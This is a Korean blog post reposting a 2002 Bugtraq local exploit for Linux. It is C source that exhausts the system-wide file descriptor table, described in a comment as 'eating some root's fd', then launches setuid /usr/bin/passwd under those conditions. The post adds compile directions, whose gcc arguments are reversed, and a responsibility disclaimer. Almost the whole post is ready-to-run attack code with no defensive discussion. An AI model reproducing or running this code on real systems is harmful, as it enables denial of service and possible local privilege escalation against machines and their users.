Posted on 2010/01/07 10:37
Filed Under OS/YJJ Linux

original source : http://seclists.org/bugtraq/2002/Jul/70
저작권은 위 사이트에 있으며 요청시 자삭 함.

source :
-----------------------------------------------------------------------------------------

#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>



#define PREFORK 1
#define EXECBIN "/usr/bin/passwd"
#define FREENUM 18


static int fc = 0;
static int ec = 0;



void forkmore(int v)
{
    fc++;
}


void execmore(int v)
{
    ec++;
}


int main()
{
    int r, cn, pt[PREFORK];


    signal(SIGUSR1, &forkmore);
    signal(SIGUSR2, &execmore);
    printf("\n");

    for (cn = 0; cn < PREFORK; cn++) {
        if (!(r = fork())) {
            printf("\npreforked child %d", cn);
            fflush(stdout);
            while (!ec) {
                usleep(100000);
            }

            printf("\nexecuting %s\n", EXECBIN);
            fflush(stdout);

            execl(EXECBIN, EXECBIN, NULL);

            printf("\nwhat the fuck?");
            fflush(stdout);
            while (1)
                sleep(999999);
            exit(1);
        } else
            pt[cn] = r;
    }

    sleep(1);
    printf("\n\n");
    fflush(stdout);
    cn = 0;

    while (1) {
        fc = ec = 0;
        cn++;

        if (!(r = fork())) {
            int cnt = 0, fd = 0, ofd = 0;

            while (1) {
                ofd = fd;
                fd = open("/dev/null", O_RDWR);
                if (fd < 0) {
                    printf("errno %d ", errno);
                    printf("pid %d got %d files\n", getpid(), cnt);
                    fflush(stdout);

                    if (errno == ENFILE)
                        kill(getppid(), SIGUSR2);
                    else
                        kill(getppid(), SIGUSR1);

                    break;
                } else
                    cnt++;
            }

            ec = 0;

            while (1) {
                usleep(100000);
                if (ec) {
                    printf("\nfreeing some file descriptors...\n");
                    fflush(stdout);
                    for (cn = 0; cn < FREENUM; cn++) {
                        printf("\n pid %d closing %d", getpid(), ofd);
                        close(ofd--);
                    }
                    ec = 0;
                    kill(getppid(), SIGUSR2);
                }
            }

        } else {
            while (!ec && !fc)
                usleep(100000);

            if (ec) {
                printf("\n\nfile limit reached, eating some root's fd");
                fflush(stdout);

                sleep(1);
                ec = 0;
                kill(r, SIGUSR2);
                while (!ec)
                    sleep(1);

                for (cn = 0; cn < PREFORK; cn++)
                    kill(pt[cn], SIGUSR2);

                while (1) {
                    sleep(999999);
                }
            }
        }
    }

    return 0;
}

-----------------------------------------------------------------------------------------

compile 방법 :

ex)
gcc -o  file-max.c file-max

워닝이 뜨지만 테스트 하면 된다.

실행 시키면 file-max 값까지 프로세스가 생성된다.

ps. 해당 소스로 발생되는 문제는 책임을 지지 않음.

크리에이티브 커먼즈 라이센스
Creative Commons License
이올린에 북마크하기
2010/01/07 10:37 2010/01/07 10:37

트랙백 주소 : http://blog.seabow.pe.kr/trackback/705



About

by 삐꾸강아쥐

Counter

· Total
: 137358
· Today
: 59
· Yesterday
: 0
블로그코리아에 블UP하기